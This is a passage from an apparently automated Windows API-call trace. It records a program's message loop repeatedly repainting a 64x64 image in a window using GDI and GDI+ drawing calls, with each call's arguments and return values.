lpdwProcessId=0x15d660) returned 0xec0 [0134.196] GetCurrentThreadId () returned 0xec0 [0134.196] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0134.196] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0134.196] IsWindowUnicode (hWnd=0x2031e) returned 1 [0134.196] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0134.196] TranslateMessage (lpMsg=0x15e910) returned 0 [0134.196] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0134.196] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0134.197] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0134.197] CreateCompatibleDC (hdc=0x3010b83) returned 0x600107cb [0134.197] SelectObject (hdc=0x600107cb, h=0x1a05067e) returned 0x185000f [0134.197] GdipCreateFromHDC (hdc=0x600107cb, graphics=0x15daf0) returned 0x0 [0134.197] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0134.197] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0134.197] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0134.197] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0134.197] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0134.198] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0134.198] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0134.198] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0134.198] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.198] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0134.198] GdipCreateRegion (region=0x15dc20) returned 0x0 [0134.199] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0134.199] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0134.199] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0134.199] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0134.199] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0134.199] GetSystemMetrics (nIndex=42) returned 0 [0134.199] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0134.199] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0134.199] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0134.199] CoTaskMemFree (pv=0x1e7ac120) [0134.199] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0134.199] GdipCreateRegion (region=0x15d710) returned 0x0 [0134.200] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0134.200] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0134.200] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0134.200] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0134.200] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0134.200] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0134.200] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0134.201] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0134.201] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0134.201] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0134.201] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0134.201] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.201] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0134.201] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0134.201] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0134.201] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0134.202] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.202] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0134.202] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0134.202] GetCurrentObject (hdc=0x600107cb, type=0x1) returned 0x1b00017 [0134.202] GetCurrentObject (hdc=0x600107cb, type=0x2) returned 0x1900010 [0134.202] GetCurrentObject (hdc=0x600107cb, type=0x7) returned 0x1a05067e [0134.202] GetCurrentObject (hdc=0x600107cb, type=0x6) returned 0x18a002e [0134.202] SaveDC (hdc=0x600107cb) returned 1 [0134.202] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff9a0407c3 [0134.202] GetClipRgn (hdc=0x600107cb, hrgn=0xffffffff9a0407c3) returned 0 [0134.202] SelectClipRgn (hdc=0x600107cb, hrgn=0x6a040b8a) returned 2 [0134.202] DeleteObject (ho=0xffffffff9a0407c3) returned 1 [0134.202] DeleteObject (ho=0x6a040b8a) returned 1 [0134.202] OffsetViewportOrgEx (in: hdc=0x600107cb, x=0, y=0, lppt=0x27f64d8 | out: lppt=0x27f64d8) returned 1 [0134.203] GetNearestColor (hdc=0x600107cb, color=0xffffff) returned 0xffffff [0134.203] CreateSolidBrush (color=0xffffff) returned 0x72100190 [0134.203] FillRect (hDC=0x600107cb, lprc=0x15d7c0, hbr=0x72100190) returned 1 [0134.203] DeleteObject (ho=0x72100190) returned 1 [0134.203] RestoreDC (hdc=0x600107cb, nSavedDC=-1) returned 1 [0134.203] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.203] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x600107cb) returned 0x0 [0134.203] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd020dbd) returned 0x0 [0134.203] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.203] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0134.203] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0134.203] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0134.204] GetSystemMetrics (nIndex=42) returned 0 [0134.204] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0134.204] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0134.204] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0134.204] CoTaskMemFree (pv=0x1e7ac120) [0134.204] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0134.204] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0134.204] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0134.204] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0134.204] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x600107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0134.204] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.205] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x600107cb) returned 0x0 [0134.205] SelectObject (hdc=0x600107cb, h=0x185000f) returned 0x1a05067e [0134.205] DeleteDC (hdc=0x600107cb) returned 1 [0134.205] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.205] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0134.205] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0134.205] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0134.205] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0134.205] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0134.205] WaitMessage () returned 1 [0134.379] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0134.379] IsWindowUnicode (hWnd=0x2031e) returned 1 [0134.379] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0134.379] TranslateMessage (lpMsg=0x15e910) returned 0 [0134.379] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0134.379] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0134.380] GetCurrentThreadId () returned 0xec0 [0134.380] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0134.380] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0134.380] IsWindowUnicode (hWnd=0x2031e) returned 1 [0134.380] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0134.380] TranslateMessage (lpMsg=0x15e910) returned 0 [0134.380] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0134.380] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0134.380] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0134.380] CreateCompatibleDC (hdc=0x3010b83) returned 0x610107cb [0134.380] SelectObject (hdc=0x610107cb, h=0x1a05067e) returned 0x185000f [0134.380] GdipCreateFromHDC (hdc=0x610107cb, graphics=0x15daf0) returned 0x0 [0134.381] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0134.381] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0134.381] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0134.381] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0134.381] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0134.381] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0134.381] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0134.381] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0134.382] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.382] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0134.382] GdipCreateRegion (region=0x15dc20) returned 0x0 [0134.382] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0134.382] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0134.382] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0134.382] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0134.382] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0134.382] GetSystemMetrics (nIndex=42) returned 0 [0134.383] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0134.383] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0134.383] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0134.383] CoTaskMemFree (pv=0x1e7ac120) [0134.383] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0134.383] GdipCreateRegion (region=0x15d710) returned 0x0 [0134.383] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0134.383] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0134.383] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0134.383] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0134.383] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0134.383] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0134.384] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0134.384] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0134.384] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0134.384] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0134.384] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0134.385] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.385] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0134.385] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0134.385] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0134.385] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0134.385] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.385] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0134.385] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0134.385] GetCurrentObject (hdc=0x610107cb, type=0x1) returned 0x1b00017 [0134.385] GetCurrentObject (hdc=0x610107cb, type=0x2) returned 0x1900010 [0134.385] GetCurrentObject (hdc=0x610107cb, type=0x7) returned 0x1a05067e [0134.385] GetCurrentObject (hdc=0x610107cb, type=0x6) returned 0x18a002e [0134.385] SaveDC (hdc=0x610107cb) returned 1 [0134.386] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6b040b8a [0134.386] GetClipRgn (hdc=0x610107cb, hrgn=0x6b040b8a) returned 0 [0134.386] SelectClipRgn (hdc=0x610107cb, hrgn=0xffffffff9b0407c3) returned 2 [0134.386] DeleteObject (ho=0x6b040b8a) returned 1 [0134.386] DeleteObject (ho=0xffffffff9b0407c3) returned 1 [0134.386] OffsetViewportOrgEx (in: hdc=0x610107cb, x=0, y=0, lppt=0x27f6e10 | out: lppt=0x27f6e10) returned 1 [0134.386] GetNearestColor (hdc=0x610107cb, color=0xffffff) returned 0xffffff [0134.386] CreateSolidBrush (color=0xffffff) returned 0x73100190 [0134.386] FillRect (hDC=0x610107cb, lprc=0x15d7c0, hbr=0x73100190) returned 1 [0134.386] DeleteObject (ho=0x73100190) returned 1 [0134.386] RestoreDC (hdc=0x610107cb, nSavedDC=-1) returned 1 [0134.387] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.387] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x610107cb) returned 0x0 [0134.387] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd000dbd) returned 0x0 [0134.387] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.387] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0134.387] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0134.387] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0134.387] GetSystemMetrics (nIndex=42) returned 0 [0134.387] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0134.387] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0134.387] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0134.387] CoTaskMemFree (pv=0x1e7ac120) [0134.387] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x0) returned 0x0 [0134.389] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0134.389] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0134.389] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0134.389] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0134.389] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x610107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0134.389] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.390] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x610107cb) returned 0x0 [0134.390] SelectObject (hdc=0x610107cb, h=0x185000f) returned 0x1a05067e [0134.390] DeleteDC (hdc=0x610107cb) returned 1 [0134.390] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.390] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0134.390] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0134.390] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0134.390] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0134.390] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0134.390] WaitMessage () returned 1 [0134.527] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0134.527] IsWindowUnicode (hWnd=0x2031e) returned 1 [0134.527] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0134.527] TranslateMessage (lpMsg=0x15e910) returned 0 [0134.527] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0134.527] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0134.527] GetCurrentThreadId () returned 0xec0 [0134.527] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0134.527] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0134.528] IsWindowUnicode (hWnd=0x2031e) returned 1 [0134.528] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0134.528] TranslateMessage (lpMsg=0x15e910) returned 0 [0134.528] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0134.528] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0134.528] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0134.528] CreateCompatibleDC (hdc=0x3010b83) returned 0x620107cb [0134.528] SelectObject (hdc=0x620107cb, h=0x1a05067e) returned 0x185000f [0134.528] GdipCreateFromHDC (hdc=0x620107cb, graphics=0x15daf0) returned 0x0 [0134.528] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0134.528] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0134.528] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0134.528] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0134.528] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0134.528] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0134.528] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0134.529] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0134.529] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.529] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0134.529] GdipCreateRegion (region=0x15dc20) returned 0x0 [0134.529] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0134.529] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0134.529] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0134.529] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0134.529] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0134.529] GetSystemMetrics (nIndex=42) returned 0 [0134.530] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0134.530] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0134.530] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0134.530] CoTaskMemFree (pv=0x1e7ac120) [0134.530] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0134.530] GdipCreateRegion (region=0x15d710) returned 0x0 [0134.530] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0134.530] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0134.530] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0134.530] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0134.530] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0134.530] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0134.531] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0134.531] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0134.531] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0134.531] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0134.531] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0134.531] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.531] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0134.531] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0134.531] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0134.531] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0134.531] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.531] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0134.531] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0134.532] GetCurrentObject (hdc=0x620107cb, type=0x1) returned 0x1b00017 [0134.532] GetCurrentObject (hdc=0x620107cb, type=0x2) returned 0x1900010 [0134.532] GetCurrentObject (hdc=0x620107cb, type=0x7) returned 0x1a05067e [0134.532] GetCurrentObject (hdc=0x620107cb, type=0x6) returned 0x18a002e [0134.532] SaveDC (hdc=0x620107cb) returned 1 [0134.532] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff9c0407c3 [0134.532] GetClipRgn (hdc=0x620107cb, hrgn=0xffffffff9c0407c3) returned 0 [0134.532] SelectClipRgn (hdc=0x620107cb, hrgn=0x6c040b8a) returned 2 [0134.532] DeleteObject (ho=0xffffffff9c0407c3) returned 1 [0134.532] DeleteObject (ho=0x6c040b8a) returned 1 [0134.532] OffsetViewportOrgEx (in: hdc=0x620107cb, x=0, y=0, lppt=0x27f7c30 | out: lppt=0x27f7c30) returned 1 [0134.532] GetNearestColor (hdc=0x620107cb, color=0xffffff) returned 0xffffff [0134.532] CreateSolidBrush (color=0xffffff) returned 0x74100190 [0134.532] FillRect (hDC=0x620107cb, lprc=0x15d7c0, hbr=0x74100190) returned 1 [0134.532] DeleteObject (ho=0x74100190) returned 1 [0134.532] RestoreDC (hdc=0x620107cb, nSavedDC=-1) returned 1 [0134.533] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.533] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x620107cb) returned 0x0 [0134.533] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcfe0dbd) returned 0x0 [0134.533] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.533] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0134.533] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0134.533] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0134.533] GetSystemMetrics (nIndex=42) returned 0 [0134.533] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0134.533] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0134.533] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0134.533] CoTaskMemFree (pv=0x1e7ac120) [0134.533] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0134.533] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0134.533] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0134.533] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0134.533] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x620107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0134.534] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.534] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x620107cb) returned 0x0 [0134.534] SelectObject (hdc=0x620107cb, h=0x185000f) returned 0x1a05067e [0134.534] DeleteDC (hdc=0x620107cb) returned 1 [0134.534] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.534] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0134.534] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0134.534] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0134.534] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0134.534] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0134.534] WaitMessage () returned 1 [0134.701] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0134.701] IsWindowUnicode (hWnd=0x2031e) returned 1 [0134.701] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0134.701] TranslateMessage (lpMsg=0x15e910) returned 0 [0134.701] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0134.701] GetWindowThreadProcessId (in: 